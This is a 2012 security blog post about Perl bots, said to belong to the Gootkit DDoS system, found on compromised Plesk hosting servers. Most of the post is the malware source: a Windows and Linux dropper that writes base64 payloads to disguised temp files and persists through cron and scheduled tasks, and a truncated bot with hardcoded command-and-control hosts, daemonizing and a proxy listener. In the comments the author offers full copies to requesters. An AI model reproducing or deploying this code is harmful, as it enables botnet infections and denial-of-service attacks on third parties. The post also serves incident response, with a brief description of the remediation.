Tuesday, March 6, 2012

Perl bots recently found

It’s been awhile since I my last post but work is pressing these days and I’m trying to push my new website for public awareness in the .gr tld over the hacking scene and hacked domains. The new blog and soon website can be found at http://www.my-audit.gr and http://www.my-audit.gr/blog. Still this blog will remain as personal and general about security issues. 

Few days ago I had a problem with some servers mainly due to high outgoing traffic, client ask to monitor the systems and find what is wrong on them.  After a brief check I spotted the perl bots running in the system and causing the problems. The specific bot (part of the Gootkit ddos system)  it was the first time that I had the chance to locate. Interesting part is that the bot can run bot on windows and on linux systems, dropping the correct payload based on the operating system.

OS detection:

#!/usr/bin/perl
use strict;
use warnings;
use MIME::Base64;
print "Content-type: text/plain\n\n";

my $os = $^O;
print "$os\n";
if ($os eq "MSWin32") {
    my $temp = `echo %temp%`;
    chomp $temp;
    my $botfile = $temp."\\~PIF3E6.tmp.pl";
    `cd $temp`;
   
    open(BODY, ">", $botfile);

    print BODY decode_base64(" _LONG TEXT_”)

    close(BODY);

    
    my $pid = fork;
    if ($pid eq 0){
       
        `schtasks /delete /f /tn perl`;
        `schtasks /create /tr \"perl $botfile\" /tn perl /sc MINUTE /mo 1`;
        `perl $botfile`;
        exit;
    }
    `perl $botfile`;
    exit;
}
#linux
open(OLD_UNIX, ">", "/tmp/.X11-unix");

print OLD_UNIX decode_base64(" _LONG_TEXT” )

close(OLD_UNIX);
system("echo '* * * * * perl /tmp/.X11-unix >/dev/null 2>&1' > /tmp/cron.d ; crontab /tmp/cron.d ; rm /tmp/cron.d");
system("perl /tmp/.X11-unix");
print "exdone\n";

Extracted from the base64 decoded string is the following perl script:

#!/usr/bin/perl

#part of the Gootkit ddos system
use Fcntl qw(:flock :DEFAULT);

use Socket;
use IO::Socket;
use IO::Select;

use POSIX 'setsid';
use Cwd 'abs_path';

print "Content-type: text/plain\n\n";

#---------------------------------------------------#
#       CUSTOM parameters                                                               #
#---------------------------------------------------#
my $number_of_bots = 5;
my @defaults = ("tagtags.net:80", "demire.net:80", "kayzio.net:80");
my $pingTimeout = 1200;
my $proxyPort = 5432;
#---------------------------------------------------#

my $lockfilename;
my $serverfile;
my $idfile;
my $uafile;

my $kernel;
my $version = "2";
my $localip;
my $botid;
my $ua;

my $script_path = abs_path($0);

if ($^O eq "MSWin32"){
        my $temp = `echo %temp%`;
        chomp $temp;
        $lockfilename = $temp."\\~PIF3G6.tmp";
        $serverfile = $temp."\\~PIFSRV6.tmp";
        $idfile = $temp."\\~PIFID45.tmp";
        $uafile = $temp."\\~PIFUA11.tmp";
}
else {
        $lockfilename = "/tmp/apachectrl2.lock";
        $serverfile = "/tmp/apachectrl2.log";
        $idfile = "/tmp/id";
        $uafile = "/tmp/ua";
}

exit if (!check_multiprocess());

if ($ARGV[0] eq "detach"){
        detachFromConsole();
        exit;
}

if ($ARGV[0] eq "normal"){
        print "normal work pid = $$...\n";
        getKernel();
        getBotId();
        getLocalIp();
        getUA();
        print "version = ".$version."\nkernel = ".$kernel."\nos = ".$^O."\nlocalip = ".$localip."\nbotid =
".$botid."\nua = ".$ua."\n";

        my %tasks = ();
        my @newTaskList;
        my $currentServer;
        my $currentPort;
        my $child = undef;
        my $child_pid;

        $SIG{'INT'} = 'IGNORE';
        $SIG{'HUP'} = 'IGNORE';
        #$SIG{'TERM'} = 'IGNORE';
        #$SIG{'CHLD'} = 'IGNORE';
        $SIG{'PS'} = 'IGNORE';

        #addServer ("who.is:7015");
        #delServer("who.is:7015");
        #getDomain ("pre", "suf.co.uk");
        #proxy();

        while (1){
                Ping ("/ping");
                sleep $pingTimeout;
        }
        exit;
}

#if ($ARGV[0] eq "daemon")
{
        print "daemon...\n";
        demonize();
        exit;
}


sub REAPER {
        while (waitpid(-1, WNOHANG) > 0){}
    $SIG{CHLD} = \&REAPER;
}

#------------------------------------------------------------------#
sub demonize {

        if ($^O eq "MSWin32")
        {
                my $schedDelete = "schtasks /delete /f /tn perl";
                my $schedCreate = "schtasks /create /tr \"".$^X." ".abs_path($0)." detach\" /tn perl /sc MI
NUTE /mo 1";
                print $schedDelete."\n";
                print  $schedCreate."\n";
                `$schedDelete`;
                `$schedCreate`;


                my $child_proc;
                print "detach...\n";
                require Win32::Process;
                Win32::Process::Create($child_proc, "$^X", "perl.exe ".abs_path($0)." normal", 0, DETACHED_
PROCESS, ".") || die "Could not spawn child: $!";
                $child_pid = $child_proc->GetProcessID();
                print "child_pid = $child_pid, pid = $$ \n";

                sleep(1.0);
                POSIX::waitpid(-1, POSIX::WNOHANG()); # clean up any defunct child process
                print "exit pid=$$\n";
                exit;
        }
        else {
                $SIG{CHLD} = \&REAPER;
                if ( fork() ) {
                        exit;
                }               
                setsid();
                
                chdir('/');
                open STDIN, "<", "/dev/null";
                open STDOUT, ">", "/dev/null";
                open STDERR, ">", "/dev/null";
                umask(077);
                
                $SIG{CHLD} = \&REAPER;
                if ( fork() ) {
                        exit;
                }
                `echo '* * * * * $^X $script_path detach >/dev/null 2>&1' > /tmp/cron.d; crontab /tmp/cron.
d ; rm /tmp/cron.d`;
                print "$$ exec...\n";
                # Now go back to your regular business.
                exec "$^X $script_path normal";
                exit;
        }
}

#------------------------------------------------------------------#
sub detachFromConsole {
        if ($^O eq "MSWin32")
        {
                my $child_proc;
                print "detach...\n";
                require Win32::Process;
                Win32::Process::Create($child_proc, "$^X", "perl.exe ".abs_path($0)." normal", 0, DETACHED_
PROCESS, ".") || die "Could not spawn child: $!";
                $child_pid = $child_proc->GetProcessID();
                print "child_pid = $child_pid, pid = $$ \n";
        }
        else {

                $SIG{CHLD} = \&REAPER;
                if ( fork() ) {
                        exit;
                }               
                setsid();
                
                chdir('/');
                open STDIN, "<", "/dev/null";
                open STDOUT, ">", "/dev/null";
                open STDERR, ">", "/dev/null";
                umask(077);
                
                $SIG{CHLD} = \&REAPER;
                if ( fork() ) {
                        exit;
                }
                print "$$ exec...\n";
                # Now go back to your regular business.
                exec "$^X $script_path normal";
                exit;
        }
}
#------------------------------------------------------------------#
sub check_multiprocess {
        for (my $i=0; $i<$number_of_bots; $i++){
                my $lockfile=$lockfilename.".".$i;
                if (-f $lockfile){
                                my $lock_pid = 0;
                                open(LOCK,"<$lockfile");
                                my $zombie_lock_flag = flock(LOCK,  LOCK_EX|LOCK_NB);
                                close (LOCK);
                                if ($zombie_lock_flag == 0){
                                        next;
                                } else {
                                        unlink("$lockfile");
                                        redo;
                                }
                }else{
                        sysopen(LOCK, $lockfile, O_CREAT|O_EXCL|O_WRONLY) or die 'cannot create lock file';
                        print LOCK "$$\n";
                        close(LOCK);
                        open(GLOB_LOCK,"<$lockfile");
                        flock(GLOB_LOCK,  LOCK_EX);
                        return 1;
                }
        }
        return 0;
}
#------------------------------------------------------------------#

sub proxy {
        $SIG{CHLD} = \&REAPER;
        $child = fork;
        if ($child == 0)
        {
                my $proxySocket;
                socket($proxySocket, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
                setsockopt($proxySocket, SOL_SOCKET, SO_REUSEADDR, 1) or die "Can't set socket option to SO
_REUSEADDR $!\n";
                bind ($proxySocket, sockaddr_in($proxyPort, INADDR_ANY)) or die "Can't bind to port $proxyP
ort! \n";
                listen($proxySocket, SOMAXCONN) or die "listen: $!";
                print "Server: started on port $proxyPort\n";


                my $activeSockets = 0;
                while (1) {
                        my $clientSocket;
                        my $clientAddr;

                        print "Server: waiting for connect...\n";

                        $clientAddr = accept($clientSocket, $proxySocket);
                        $activeSockets ++;
                        print "Server: new connect. activeSockets = $activeSockets\n";

                        my $targetHost = "";
                        my $x;

                        my $recievedLine = "";
                        my $dataToSend = "";
                        do {

…. very long many capabilities udp flood http flood, if anybody would like to have a copy contact me.

6 comments:

  1. Hi Nicolas!Nice and useful post!
    Can I have a copy of these bots?

    Thanks in advance!

    ReplyDelete
  2. Hi sure contact me directly with your email address so I can send them to you

    ReplyDelete
  3. Hi Nicolas!I cannot find your e-mail address!I will post mine there in order
    to send me the files!

    blackhack85[at]gmail.com

    Thanks in advance!!!

    ReplyDelete
  4. How did these Bots sneak into your server? What steps you took to secure your servers?

    ReplyDelete
    Replies
    1. After been contacted by some clients, I was given access to the servers to check the problem. All the servers were PLESK hosting servers. The problem was that Parallels held back the announcement of a critical flaw( http://arstechnica.com/business/news/2012/02/plesk-control-panel-bug-left-ftc-sites-and-thousands-more-exposed-to-anon.ars ). Attackers about a month earlier from the announce were able to gather PLESK user credentials and access client pages through the PLESK panel. What they did was to set a scheduled task ( cron job ) from the PLESK panel and set to run the 'dropper' bot. We took a series of tasks in order to secure the servers, starting from the patching of the vulnerable service, cleaning of the cron entries, setting OSSEC and custom monitoring scripts on the systems and finally we restricted the access in the PLESK panels. For some systems we proceed even on changing the default port for the panel.

      Delete
  5. Hi Nicolas!I can you please send me the bots also.!I will post mine there in order
    to send me the files!

    hackermate97@.gmail.com

    Thanks in advance!!!

    ReplyDelete